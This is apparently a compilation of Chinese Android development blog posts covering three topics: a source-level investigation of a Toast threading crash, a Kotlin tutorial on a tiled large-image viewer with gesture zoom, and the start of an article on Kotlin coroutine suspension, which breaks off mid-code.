android:background="@drawable/shape_text"
android:text="Shape测试"
android:textColor="@android:color/black"
android:textSize="15sp" />
</LinearLayout>
某天早晨,吃完早餐,坐回工位,打开电脑,开启chrome,进入友盟页面,发现了一个崩溃信息:
java.lang.RuntimeException: Unable to resume activity {com.youdao.youdaomath/com.youdao.youdaomath.view.PayCourseVideoActivity}: android.view.ViewRootImpl$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views.
at android.app.ActivityThread.performResumeActivity(ActivityThread.java:3824)
at android.app.ActivityThread.handleResumeActivity(ActivityThread.java:3856)
at android.app.servertransaction.ResumeActivityItem.execute(ResumeActivityItem.java:51)
at android.app.servertransaction.TransactionExecutor.executeLifecycleState(TransactionExecutor.java:145)
at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:70)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1831)
at android.os.Handler.dispatchMessage(Handler.java:106)
at android.os.Looper.loop(Looper.java:201)
at android.app.ActivityThread.main(ActivityThread.java:6806)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:547)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:873)
Caused by: android.view.ViewRootImpl$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views.
at android.view.ViewRootImpl.checkThread(ViewRootImpl.java:8000)
at android.view.ViewRootImpl.requestLayout(ViewRootImpl.java:1292)
at android.view.View.requestLayout(View.java:23147)
at android.view.View.requestLayout(View.java:23147)
at android.widget.TextView.checkForRelayout(TextView.java:8914)
at android.widget.TextView.setText(TextView.java:5736)
at android.widget.TextView.setText(TextView.java:5577)
at android.widget.TextView.setText(TextView.java:5534)
at android.widget.Toast.setText(Toast.java:332)
at com.youdao.youdaomath.view.common.CommonToast.showShortToast(CommonToast.java:40)
at com.youdao.youdaomath.view.PayCourseVideoActivity.checkNetWork(PayCourseVideoActivity.java:137)
at com.youdao.youdaomath.view.PayCourseVideoActivity.onResume(PayCourseVideoActivity.java:218)
at android.app.Instrumentation.callActivityOnResume(Instrumentation.java:1413)
at android.app.Activity.performResume(Activity.java:7400)
at android.app.ActivityThread.performResumeActivity(ActivityThread.java:3816)
一眼看上去似乎是比较常见的子线程修改UI的问题。并且是在Toast上面报出的,常识告诉我Toast在子线程弹出是会报错,但是应该是提示Looper没有生成的错,而不应该是上面所报出的错误。那么会不会是生成Looper以后报的错的?
所以我先做了一个demo,如下:
@Override
protected void onResume() {
super.onResume();
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Toast.makeText(MainActivity.this,"子线程弹出Toast",Toast.LENGTH_SHORT).show();
}
});
thread.start();
}
运行一下,果不其然崩溃掉,错误信息就是提示我必须准备好looper才能弹出toast:
java.lang.RuntimeException: Can't toast on a thread that has not called Looper.prepare()
at android.widget.Toast$TN.<init>(Toast.java:393)
at android.widget.Toast.<init>(Toast.java:117)
at android.widget.Toast.makeText(Toast.java:280)
at android.widget.Toast.makeText(Toast.java:270)
at com.netease.photodemo.MainActivity$1.run(MainActivity.java:22)
at java.lang.Thread.run(Thread.java:764)
接下来就在toast里面准备好looper,再试试吧:
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Looper.prepare();
Toast.makeText(MainActivity.this,"子线程弹出Toast",Toast.LENGTH_SHORT).show();
Looper.loop();
}
});
thread.start();
运行发现是能够正确的弹出Toast的:
那么问题就来了,为什么会在友盟中出现这个崩溃呢?
然后仔细看了下报错信息有两行重要信息被我之前略过了:
at com.youdao.youdaomath.view
.PayCourseVideoActivity.onResume(PayCourseVideoActivity.java:218)
android.widget.Toast.setText(Toast.java:332)
发现是在主线程报了Toast设置Text的时候的错误。这就让我很纳闷了,子线程修改UI会报错,主线程也会报错?
感觉这么多年Android白做了。这不是最基本的知识么?
于是我只能硬着头皮往源码深处看了:
先来看看Toast是怎么setText的:
public static Toast makeText(@NonNull Context context, @Nullable Looper looper,
@NonNull CharSequence text, @Duration int duration) {
Toast result = new Toast(context, looper);
LayoutInflater inflate = (LayoutInflater)
context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View v = inflate.inflate(com.android.internal.R.layout.transient_notification, null);
TextView tv = (TextView)v.findViewById(com.android.internal.R.id.message);
tv.setText(text);
result.mNextView = v;
result.mDuration = duration;
return result;
}
很常规的一个做法,先是inflate出来一个View对象,再从View对象找出对应的TextView,然后TextView将文本设置进去。
至于setText在之前有详细说过,是在ViewRootImpl里面进行checkThread是否在主线程上面。所以感觉似乎一点问题都没有。那么既然出现了这个错误,总得有原因吧,或许是自己源码看漏了?
那就重新再看一遍ViewRootImpl#checkThread方法吧:
void checkThread() {
if (mThread != Thread.currentThread()) {
throw new CalledFromWrongThreadException(
"Only the original thread that created a view hierarchy can touch its views.");
}
}
这一看,还真的似乎给我了一点头绪,系统在checkThread的时候并不是将Thread.currentThread和MainThread作比较,而是跟mThread作比较,那么有没有一种可能mThread是子线程?
一想到这里,我就兴奋了,全类查看mThread到底是怎么初始化的:
public ViewRootImpl(Context context, Display display) {
...代码省略...
mThread = Thread.currentThread();
...代码省略...
}
可以发现全类只有这一处对mThread进行了赋值。那么会不会是子线程初始化了ViewRootimpl呢?似乎我之前好像也没有研究过Toast为什么会弹出来,所以顺便就先去了解下Toast是怎么show出来的好了:
/**
* Show the view for the specified duration.
*/
public void show() {
if (mNextView == null) {
throw new RuntimeException("setView must have been called");
}
INotificationManager service = getService();
String pkg = mContext.getOpPackageName();
TN tn = mTN;
tn.mNextView = mNextView;
try {
service.enqueueToast(pkg, tn, mDuration);
} catch (RemoteException e) {
// Empty
}
}
调用Toast的show方法时,会通过Binder获取Service即NotificationManagerService,然后执行enqueueToast方法(NotificationManagerService的源码就不做分析),然后会执行Toast里面如下方法:
@Override
public void show(IBinder windowToken) {
if (localLOGV) Log.v(TAG, "SHOW: " + this);
mHandler.obtainMessage(SHOW, windowToken).sendToTarget();
}
发送一个Message,通知进行show的操作:
@Override
public void show(IBinder windowToken) {
if (localLOGV) Log.v(TAG, "SHOW: " + this);
mHandler.obtainMessage(SHOW, windowToken).sendToTarget();
}
在Handler的handleMessage方法中找到了SHOW的case,接下来就要进行真正show的操作了:
public void handleShow(IBinder windowToken) {
if (localLOGV) Log.v(TAG, "HANDLE SHOW: " + this + " mView=" + mView
+ " mNextView=" + mNextView);
// If a cancel/hide is pending - no need to show - at this point
// the window token is already invalid and no need to do any work.
if (mHandler.hasMessages(CANCEL) || mHandler.hasMessages(HIDE)) {
return;
}
if (mView != mNextView) {
// remove the old view if necessary
handleHide();
mView = mNextView;
Context context = mView.getContext().getApplicationContext();
String packageName = mView.getContext().getOpPackageName();
if (context == null) {
context = mView.getContext();
}
mWM = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
// We can resolve the Gravity here by using the Locale for getting
// the layout direction
final Configuration config = mView.getContext().getResources().getConfiguration();
final int gravity = Gravity.getAbsoluteGravity(mGravity, config.getLayoutDirection());
mParams.gravity = gravity;
if ((gravity & Gravity.HORIZONTAL_GRAVITY_MASK) == Gravity.FILL_HORIZONTAL) {
mParams.horizontalWeight = 1.0f;
}
if ((gravity & Gravity.VERTICAL_GRAVITY_MASK) == Gravity.FILL_VERTICAL) {
mParams.verticalWeight = 1.0f;
}
mParams.x = mX;
mParams.y = mY;
mParams.verticalMargin = mVerticalMargin;
mParams.horizontalMargin = mHorizontalMargin;
mParams.packageName = packageName;
mParams.hideTimeoutMilliseconds = mDuration ==
Toast.LENGTH_LONG ? LONG_DURATION_TIMEOUT : SHORT_DURATION_TIMEOUT;
mParams.token = windowToken;
if (mView.getParent() != null) {
if (localLOGV) Log.v(TAG, "REMOVE! " + mView + " in " + this);
mWM.removeView(mView);
}
if (localLOGV) Log.v(TAG, "ADD! " + mView + " in " + this);
// Since the notification manager service cancels the token right
// after it notifies us to cancel the toast there is an inherent
// race and we may attempt to add a window after the token has been
// invalidated. Let us hedge against that.
try {
mWM.addView(mView, mParams);
trySendAccessibilityEvent();
} catch (WindowManager.BadTokenException e) {
/* ignore */
}
}
}
代码有点长,我们最需要关心的就是mWm.addView方法。
相信看过ActivityThread的同学应该知道mWm.addView方法是在ActivityThread的handleResumeActivity里面也有调用过,意思就是进行ViewRootImpl的初始化,然后通过ViewRootImp进行View的测量,布局,以及绘制。
看到这里,我想到了一个可能的原因:
那就是我的Toast是一个全局静态的Toast对象,然后第一次是在子线程的时候show出来,这个时候ViewRootImpl在初始化的时候就会将子线程的对象作为mThread,然后下一次在主线程弹出来就出错了吧?想想应该是这样的。
所以继续做我的demo来印证我的想法:
@Override
protected void onResume() {
super.onResume();
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Looper.prepare();
sToast = Toast.makeText(MainActivity.this,"子线程弹出Toast",Toast.LENGTH_SHORT);
sToast.show();
Looper.loop();
}
});
thread.start();
}
public void click(View view) {
sToast.setText("主线程弹出Toast");
sToast.show();
}
做了个静态的toast,然后点击按钮的时候弹出toast,运行一下:
发现竟然没问题,这时候又开始怀疑人生了,这到底怎么回事。ViewRootImpl此时的mThread应该是子线程啊,没道理还能正常运行,怎么办呢?debug一步一步调试吧,一步一步调试下来,发现在View的requestLayout里面parent竟然为空了:
然后在仔细看了下当前View是一个LinearLayout,然后这个View的子View是TextView,文本内容是"主线程弹出toast",所以应该就是Toast在new的时候inflate的布局
View v = inflate.inflate(com.android.internal.R.layout.transient_notification, null);
找到了对应的toast布局文件,打开一看,果然如此:
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:background="?android:attr/toastFrameBackground">
<TextView
android:id="@android:id/message"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_weight="1"
android:layout_marginHorizontal="24dp"
android:layout_marginVertical="15dp"
android:layout_gravity="center_horizontal"
android:textAppearance="@style/TextAppearance.Toast"
android:textColor="@color/primary_text_default_material_light"
/>
</LinearLayout>
也就是说此时的View已经是顶级View了,它的parent应该就是ViewRootImpl,那么为什么ViewRootImpl是null呢,明明之前已经show过了。看来只能往Toast的hide方法找原因了
所以重新回到Toast的类中,查看下Toast的hide方法(此处直接看Handler的hide处理,之前的操作与show类似):
public void handleHide() {
if (localLOGV) Log.v(TAG, "HANDLE HIDE: " + this + " mView=" + mView);
if (mView != null) {
// note: checking parent() just to make sure the view has
// been added... i have seen cases where we get here when
// the view isn't yet added, so let's try not to crash.
if (mView.getParent() != null) {
if (localLOGV) Log.v(TAG, "REMOVE! " + mView + " in " + this);
mWM.removeViewImmediate(mView);
}
// Now that we've removed the view it's safe for the server to release
// the resources.
try {
getService().finishToken(mPackageName, this);
} catch (RemoteException e) {
}
mView = null;
}
}
此处调用了mWm的removeViewImmediate,即WindowManagerImpl里面的removeViewImmediate方法:
@Override
public void removeViewImmediate(View view) {
mGlobal.removeView(view, true);
}
会调用WindowManagerGlobal的removeView方法:
public void removeView(View view, boolean immediate) {
if (view == null) {
throw new IllegalArgumentException("view must not be null");
}
synchronized (mLock) {
int index = findViewLocked(view, true);
View curView = mRoots.get(index).getView();
removeViewLocked(index, immediate);
if (curView == view) {
return;
}
throw new IllegalStateException("Calling with view " + view
+ " but the ViewAncestor is attached to " + curView);
}
}
然后调用removeViewLocked方法:
private void removeViewLocked(int index, boolean immediate) {
ViewRootImpl root = mRoots.get(index);
View view = root.getView();
if (view != null) {
InputMethodManager imm = InputMethodManager.getInstance();
if (imm != null) {
imm.windowDismissed(mViews.get(index).getWindowToken());
}
}
boolean deferred = root.die(immediate);
if (view != null) {
//此处调用View的assignParent方法将viewParent置空
view.assignParent(null);
if (deferred) {
mDyingViews.add(view);
}
}
}
所以也就是说在Toast时间到了以后,会调用hide方法,此时会将parent置成空,所以我刚才试的时候才没有问题。那么按道理说只要在Toast没有关闭的时候点击再次弹出toast应该就会报错。
所以还是原来的代码,再来一次,这次不等Toast关闭,再次点击:
果然如预期所料,此时在主线程弹出Toast就会崩溃。
那么问题原因找到了:
是在项目子线程中有弹出过Toast,然后Toast并没有关闭,又在主线程弹出了同一个对象的toast,会造成崩溃。
此时内心有个困惑:
如果是子线程弹出Toast,那我就需要写Looper.prepare方法和Looper.loop方法,为什么我自己一点印象都没有。
于是我全局搜索了Looper.prepare,发现并没有找到对应的代码。所以我就全局搜索了Toast调用的地方,发现在JavaBridge的回调当中找到了:
class JSInterface {
@JavascriptInterface
public void handleMessage(String msg) throws JSONException {
LogHelper.e(TAG, "msg::" + msg);
JSONObject jsonObject = new JSONObject(msg);
String callType = jsonObject.optString(JS_CALL_TYPE);
switch (callType) {
...代码省略..
case JSCallType.SHOW_TOAST:
showToast(jsonObject);
break;
default:
break;
}
}
}
/**
* 弹出吐司
* @param jsonObject
* @throws JSONException
*/
public void showToast(JSONObject jsonObject) throws JSONException {
JSONObject payDataObj = jsonObject.getJSONObject("data");
String message = payDataObj.optString("data");
CommonToast.showShortToast(message);
}
但是看到这段代码,又有疑问了,我并没有在Javabridge的回调中看到有任何准备Looper的地方,那么为什么Toast没有崩溃掉?
所以在此处加了一段代码:
class JSInterface {
@JavascriptInterface
public void handleMessage(String msg) throws JSONException {
LogHelper.e(TAG, "msg::" + msg);
JSONObject jsonObject = new JSONObject(msg);
String callType = jsonObject.optString(JS_CALL_TYPE);
Thread currentThread = Thread.currentThread();
Looper looper = Looper.myLooper();
switch (callType) {
...代码省略..
case JSCallType.SHOW_TOAST:
showToast(jsonObject);
break;
default:
break;
}
}
}
并且加了一个断点,来查看下此时的情况:
确实当前线程是JavaBridge线程,另外JavaBridge线程中已经提前给开发者准备好了Looper。所以也难怪一方面奇怪自己怎么没有写Looper的印象,一方面又很好奇为什么这个线程在开发者没有准备Looper的情况下也能正常弹出Toast。
至此,真相终于找出来了。
相比较发生这个bug 的原因,解决方案就显得非常简单了。
只需要在CommonToast的showShortToast方法内部判断是否为主线程调用,如果不是的话,new一个主线程的Handler,将Toast扔到主线程弹出来。
这样就会避免了子线程弹出。
PS:本人还得吐槽一下Android,Android官方一方面明明宣称不能在主线程以外的线程进行UI的更新,**另一方面在初始化ViewRootImpl的时候又不把主线程作为成员变量保存起来,而是直接获取当前所处的线程作为mThread保存起来,这样做就有可能会出现子线程更新UI的操作。**从而引起类似我今天的这个bug。
在实际的Android项目开发中,图片是必不可少的元素,几乎所有的界面都是由图片构成的;像列表页、查看大图页等,都是需要展示图片,而且这两者是有共同点的,列表展示的Item数量多,如果全部加载进来势必会造成OOM,因此列表页通常采用分页加载,加上RecyclerView的复用机制,一般很少会发生OOM。
但是对于大图查看,通常在外界展示的是一张缩略图,点开之后放大就是原图,如果图片很大,OOM发生也是正常的,因此在加载大图的时候,可以看下面这张图
一张图片如果很大,在手机屏幕中并不能完全展示,那么其实就没有必要讲图片完全加载进来,而是可以采用分块加载的方式,只展示显示的那一部分,当图片向上滑动的时候,之前展示的区域内存能够复用,不需要开辟新的内存空间来承接新的模块,从而达到了大图的治理的目的。
像在微信中点击查看大图,查看大图的组件就是一个自定义View,能够支持滑动、拖拽、放大等功能,因此我们也可以自定义一个类似于微信的大图查看器,从中了解图片加载优化的魅力
class BigView : View{
constructor(context: Context):super(context){
initBigView(context)
}
constructor(context: Context,attributeSet: AttributeSet):super(context,attributeSet){
initBigView(context)
}
private fun initBigView(context: Context) {
}
}
本节使用的语言为kotlin,需要java代码的伙伴们可以找我私聊哦。
这个是我从网站上找的一张长图,大概700K左右,需要的可以自行下载,其实想要了解其中的原理和实现,不一定要找一张特别大的图片,所有的问题都是举一反三的。
class BigView : View, GestureDetector.OnGestureListener, View.OnTouchListener {
//分块加载
private lateinit var mRect: Rect
//内存复用
private lateinit var mOptions: BitmapFactory.Options
//手势
private lateinit var mGestureDetector: GestureDetector
//滑动
private lateinit var mScroller: Scroller
constructor(context: Context) : super(context) {
initBigView(context)
}
constructor(context: Context, attributeSet: AttributeSet) : super(context, attributeSet) {
initBigView(context)
}
private fun initBigView(context: Context) {
mRect = Rect()
mOptions = BitmapFactory.Options()
mGestureDetector = GestureDetector(context, this)
mScroller = Scroller(context)
setOnTouchListener(this)
}
override fun onDown(e: MotionEvent?): Boolean {
return false
}
override fun onShowPress(e: MotionEvent?) {
}
override fun onSingleTapUp(e: MotionEvent?): Boolean {
return false
}
override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {
return false
}
override fun onLongPress(e: MotionEvent?) {
}
override fun onFling(
e1: MotionEvent?,
e2: MotionEvent?,
velocityX: Float,
velocityY: Float
): Boolean {
return false
}
override fun onTouch(v: View?, event: MotionEvent?): Boolean {
return false
}
}
前面我们提到的分块加载、内存复用、手势等操作,直接在view初始化时完成,这样我们前期的准备工作就完成了。
当我们加载一张图片的时候,要让这张图片完全展示在手机屏幕上不被裁剪,就需要做宽高的适配;如果这张图片大小是80M,那么为了获取宽高而将图片加载到内存中肯定会OOM,那么在图片加载到内存之前就像获取图片的宽高该怎么办呢?BitmapFactory.Options就提供了这个手段
fun setImageUrl(inputStream: InputStream) {
//获取图片宽高
mOptions.inJustDecodeBounds = true
BitmapFactory.decodeStream(inputStream,null,mOptions)
imageWidth = mOptions.outWidth
imageHeight = mOptions.outHeight
mOptions.inJustDecodeBounds = false
//开启复用
mOptions.inMutable = true
mOptions.inPreferredConfig = Bitmap.Config.RGB_565
//创建区域解码器
try {
BitmapRegionDecoder.newInstance(inputStream,false)
}catch (e:Exception){
}
requestLayout()
}
当设置inJustDecodeBounds为true(记住要成对出现,使用完成之后需要设置为false),意味着我调用decodeStream方法的时候,不会将图片的内存加载而是仅仅为了获取宽高。
然后拿到了图片的宽高之后呢,调用requestLayout方法,会回调onMeasure方法,这个方法大家就非常熟悉了,能够拿到view的宽高,从而完成图片的适配
override fun onMeasure(widthMeasureSpec: Int, heightMeasureSpec: Int) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec)
//适配
viewWidth = measuredWidth
viewHeight = measuredHeight
originScale = viewWidth / imageWidth.toFloat()
mScale = originScale
//分块加载首次进入展示的rect
mRect.left = 0
mRect.top = 0
mRect.right = imageWidth
mRect.bottom = (viewHeight / mScale).toInt()
}
这里设置Rect的right就是图片的宽度,因为原始图片的宽度可能比控件的宽度要宽,因此是将控件的宽度与图片的宽度对比获取了缩放比,那么Rect的bottom就需要等比缩放
这里的mRect可以看做是这张图片上的一个滑动窗口,无论是放大还是缩小,只要在屏幕上看到的区域,都可以看做是mRect在这张图片上来回移动截取的目标区域
在onMeasure中,我们定义了需要加载的图片的Rect,这是一块区域,那么我们通过什么样的方式能够将这块区域的图片加载出来,就是通过BitmapRegionDecoder区域解码器。
区域解码器,顾名思义,能够在某个区域进行图片解码展示
//创建区域解码器
try {
BitmapRegionDecoder.newInstance(inputStream,false)
}catch (e:Exception){
}
在传入图片流的时候,我们就已经创建了BitmapRegionDecoder,同时将图片流作为参数构建了解码器,那么这个解码器其实已经拿到了整张图片的资源,因此任意一块区域,通过BitmapRegionDecoder都能够解码展示出来
override fun onDraw(canvas: Canvas?) {
super.onDraw(canvas)
mRegionDecoder ?: return
//复用bitmap
mOptions.inBitmap = mutableBitmap
mutableBitmap = mRegionDecoder?.decodeRegion(mRect, mOptions)
//画出bitmap
val mMatrix = Matrix()
mMatrix.setScale(mScale, mScale)
mutableBitmap?.let {
canvas?.drawBitmap(it, mMatrix, null)
}
}
首先我们想要进行内存复用,需要调用BitmapFactory.Options的inBitmap,这个参数的含义就是,当我们在某块区域加载图片之后,如果图片上滑那么就需要重新加载,那么这个时候就不会重新开辟一块内存空间,而是复用之前的这块区域,所以调用BitmapRegionDecoder的decodeRegion方法,传入需要展示图片的区域,就能够给mutableBitmap赋值,这样就达成了一块内存空间,多次复用的效果。
这样通过压缩之后,在屏幕中展示了这个长图的最上边部分,那么剩下就需要做的是手势事件的处理。
通过前期的准备工作,我们已经实现了图片的区域展示,那么接下来关键在于,我们通过手势来查看完整的图片,对于手势事件的响应,在onTouch方法中处理。
override fun onTouch(v: View?, event: MotionEvent?): Boolean {
return mGestureDetector.onTouchEvent(event)
}
通常来说,手势事件的处理都是通过GestureDetector来完成,因此当onTouch方法监听到手势事件之后,直接传给GestureDetector,让GestureDetector来处理这个事件。
override fun onDown(e: MotionEvent?): Boolean {
return false
}
override fun onShowPress(e: MotionEvent?) {
}
override fun onSingleTapUp(e: MotionEvent?): Boolean {
return false
}
override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {
return false
}
override fun onLongPress(e: MotionEvent?) {
}
override fun onFling(
e1: MotionEvent?,
e2: MotionEvent?,
velocityX: Float,
velocityY: Float
): Boolean {
return false
}
首先,我们先看下之前注册的GestureDetector.OnGestureListener监听器中实现的方法:
(1)onDown
override fun onDown(e: MotionEvent?): Boolean {
if(!mScroller.isFinished){
mScroller.forceFinished(true)
}
return true
}
当手指按下时,因为滑动的惯性,所以down事件的处理就是如果图片还在滑动时,按下就停止滑动;
(2)onScroll
那么当你的手指按下之后,可能还会继续滑动,那么就是会回调到onScroll方法,在这个方法中,主要做滑动的处理
override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {
mRect.offset(0, distanceY.toInt())
//边界case处理
if (mRect.bottom > imageHeight) {
mRect.bottom = imageHeight
mRect.top = imageHeight - (viewHeight / mScale).toInt()
}
if (mRect.top < 0) {
mRect.top = 0
mRect.bottom = (viewHeight / mScale).toInt()
}
postInvalidate()
return false
}
在onScroll方法中,其实已经对滑动的距离做了计算(这个真的太nice了,不需要我们自己手动计算),因此只需要对mRect展示区域进行变换即可;
但是这里会有两个边界case,例如滑动到底部时就不能再滑了,这个时候,mRect的底部很可能都已经超过了图片的高度,因此需要做边界的处理,那么滑动到顶部的时候同样也是需要做判断。
(3)onFling
惯性滑动。我们在使用列表的时候,我们在滑动的时候,虽然手指的滑动距离很小,但是列表划出去的距离却很大,就是因为惯性,所以GestureDetector中对惯性也做了处理。
override fun onFling(
e1: MotionEvent?,
e2: MotionEvent?,
velocityX: Float,
velocityY: Float
): Boolean {
mScroller.fling(0, mRect.top, 0, -velocityY.toInt(), 0, 0, 0, imageHeight - viewHeight)
return false
}
//计算惯性
override fun computeScroll() {
super.computeScroll()
if (mScroller.isFinished) {
return
}
if (mScroller.computeScrollOffset()) {
//正在滑动
mRect.top = mScroller.currY
mRect.bottom = mScroller.currY + (viewHeight / mScale).toInt()
postInvalidate()
}
}
这个还是比较好理解的,就是设置最大的一个惯性滑动距离,无论怎么滑动,边界值就是从顶部一划到底,这个最大的距离就是 imageHeight - viewHeight
设置了惯性滑动的距离,那么在惯性滑动时,也需要实时改变mRect的解码范围,需要重写computeScroll方法,判断如果是正在滑动(通过 mScroller.computeScrollOffset() 判断),那么需要改变mRect的位置。
我们在使用app时,双击某张图片或者双指拉动某张图片的时候,都会讲图片放大,这也是业内主流的两种图片放大的方式。
override fun onMeasure(widthMeasureSpec: Int, heightMeasureSpec: Int) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec)
//适配
viewWidth = measuredWidth
viewHeight = measuredHeight
//缩放比
val radio = viewWidth / imageWidth.toFloat()
//分块加载首次进入展示的rect
mRect.left = 0
mRect.top = 0
mRect.right = imageWidth
mRect.bottom = viewHeight
}
我们先看一下不能缩放时,mRect的赋值;那么当我们双击放大时,left和top的位置不会变,因为图片放大了,但是控件的大小不会变,因此left的最大值就是控件的宽度,bottom的最大值就是控件的高度。
override fun onMeasure(widthMeasureSpec: Int, heightMeasureSpec: Int) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec)
//适配
viewWidth = measuredWidth
viewHeight = measuredHeight
originScale = viewWidth / imageWidth.toFloat()
mScale = originScale
//分块加载首次进入展示的rect
mRect.left = 0
mRect.top = 0
mRect.right = Math.min(imageWidth, viewWidth)
mRect.bottom = Math.min((viewHeight / mScale).toInt(), viewHeight)
}
这里就将onMeasure进行改造;那么对于双击事件的处理,可以使用GestureDetector.OnDoubleTapListener来处理,在onDoubleTap事件中回调。
override fun onDoubleTap(e: MotionEvent?): Boolean {
if (mScale < originScale * 2) {
mScale = originScale * 2
} else {
mScale = originScale
}
postInvalidate()
return false
}
这里做了缩放就是判断mScale的值,因为一开始进来不是缩放的场景,因此 mScale = originScale,当双击之后,需要将mScale扩大2倍,当重新绘制的时候,Bitmap就放大了2倍。
那么当图片放大之后,之前横向不能滑动现在也可以滑动查看图片,所以需要处理,同时也需要考虑边界case
override fun onDoubleTap(e: MotionEvent?): Boolean {
if (mScale < originScale * 2) {
mScale = originScale * 2
} else {
mScale = originScale
}
//
mRect.right = mRect.left + (viewWidth / mScale).toInt()
mRect.bottom = mRect.top + (viewHeight / mScale).toInt()
if (mRect.bottom > imageHeight) {
mRect.bottom = imageHeight
mRect.top = imageHeight - (viewHeight / mScale).toInt()
}
if (mRect.top < 0) {
mRect.top = 0
mRect.bottom = (viewHeight / mScale).toInt()
}
if(mRect.right > imageWidth){
mRect.right = imageWidth
mRect.left = imageWidth - (viewWidth / mScale).toInt()
}
if(mRect.left < 0){
mRect.left = 0
mRect.right = (viewWidth / mScale).toInt()
}
postInvalidate()
return false
}
当双击图片之后,mRect解码的区域也随之改变,因此需要对right和bottom做相应的改变,图片放大或者缩小,都是在控件宽高的基础之上
override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {
mRect.offset(distanceX.toInt(), distanceY.toInt())
//边界case处理
if (mRect.bottom > imageHeight) {
mRect.bottom = imageHeight
mRect.top = imageHeight - (viewHeight / mScale).toInt()
}
if (mRect.top < 0) {
mRect.top = 0
mRect.bottom = (viewHeight / mScale).toInt()
}
if(mRect.left < 0){
mRect.left = 0
mRect.right = (viewWidth / mScale).toInt()
}
if(mRect.right > imageWidth){
mRect.right = imageWidth
mRect.left = imageWidth - (viewWidth / mScale).toInt()
}
postInvalidate()
return false
}
因为需要左右滑动,那么onScroll方法也需要做相应的改动,mRect的offset需要加上x轴的偏移量。
上一小节介绍了双击事件的效果处理,那么这一节就介绍另一个主流的放大效果实现 - 手指缩放,是依赖
ScaleGestureDetector,其实跟GestureDetector的使用方式一致,这里就不做过多的赘述。
mScaleGestureDetector = ScaleGestureDetector(context, ScaleGesture())
复制代码
在初始化ScaleGestureDetector的时候,需要传入一个ScaleGesture内部类,集成ScaleGestureDetector.SimpleOnScaleGestureListener,在onScale方法中获取缩放因子来绘制
inner class ScaleGesture : ScaleGestureDetector.SimpleOnScaleGestureListener() {
override fun onScale(detector: ScaleGestureDetector?): Boolean {
var scale = detector?.scaleFactor ?: mScale//可以代替mScale
if (scale < originScale) {
scale = originScale
} else if (scale > originScale * 2) {
scale = originScale * 2
}
//在原先基础上缩放
mRect.right = mRect.left + (viewWidth / scale).toInt()
mRect.bottom = mRect.top + (viewHeight / scale).toInt()
mScale = scale
postInvalidate()
return super.onScale(detector)
}
}
这里别忘记了别事件传递出来,对于边界case可自行处理
override fun onTouch(v: View?, event: MotionEvent?): Boolean {
mGestureDetector.onTouchEvent(event)
mScaleGestureDetector.onTouchEvent(event)
return true
}
下面附上大图治理的流程图
黄颜色模块: BitmapFactory.Options配置,避免整张大图直接加载在内存当中,通过开启内存复用(inMutable),使用区域解码器,绘制一块可见区域‘
浅黄色模块: View的绘制流程
之前我们学了几个关于协程的基础知识,本文将继续分享Kotlin协程的知识点~挂起,同时介绍协程在Android开发中的使用。
suspend关键字
说到挂起,那么就会离不开suspend关键字,它是Kotlin中的一个关键字,它的中文意思是暂停或者挂起。
以下是通过suspend修饰的方法:
suspend fun suspendFun(){
withContext(Dispatchers.IO){
//do db operate
}
}
通过suspend关键字来修饰方法,限制这个方法只能在协程里边调用,否则编译不通过。
suspend方法其实本身没有挂起的作用,只是在方法体力便执行真正挂起的逻辑,也相当于提个醒。如果使用suspend修饰的方法里边没有挂起的操作,那么就失去了它的意义,也就是无需使用。
虽然我们无法正常去调用它,但是可以通过反射去调用:
suspend fun hello() = suspendCoroutine<Int> { coroutine ->
Log.i(myTag,"hello")
coroutine.resumeWith(kotlin.Result.success(0))
}
//通过反射来调用:
fun helloTest(){
val helloRef = ::hello
helloRef.call()
}
//抛异常:java.lang.IllegalArgumentException: Callable expects 1 arguments, but 0 were provided.
fun helloTest(){
val helloRef = ::hello
helloRef.call(object : Continuation<Int>{
override val context: CoroutineContext
get() = EmptyCoroutineContext
override fun resumeWith(result: kotlin.Result<Int>) {
Log.i(myTag,"result : ${result.isSuccess} value:${result.getOrNull()}")
}
})
}
//输出:hello
挂起与恢复
看一个方法:
public suspend inline fun <T> suspendCancellableCoroutine(
crossinline block: (CancellableContinuation<T>) -> Unit
): T =
suspendCoroutineUninterceptedOrReturn { uCont ->
val cancellable = CancellableContinuationImpl(uCont.intercepted(), resumeMode = MODE_CANCELLABLE)
block(cancellable)
cancellable.getResult()
}
这是Kotlin协程提供的api,里边虽然只有短短的三句代码,但是实现甚是复杂而且关键。
继续跟进看看getResult()方法:
internal fun getResult(): Any? {
installParentCancellationHandler()
if (trySuspend()) return COROUTINE_SUSPENDED//返回此对象表示挂起
val state = this.state
if (state is CompletedExceptionally) throw recoverStackTrace(state.cause, this)
if (resumeMode == MODE_CANCELLABLE) {//检查
val job = context[Job]
if (job != null && !job.isActive) {
val cause = job.getCancellationException()
cancelResult(state, cause)
throw recoverStackTrace(cause, this)
}
}
return getSuccessfulResult(state)//返回结果
}
最后写一段代码,然后转为Java看个究竟:
fun demo2(){
GlobalScope.launch {
val user = requestUser()
println(user)
val state = requestState()
println(state)
}
}
编译后生成的代码大致流程如下:
public final Object invokeSuspend(Object result) {
...
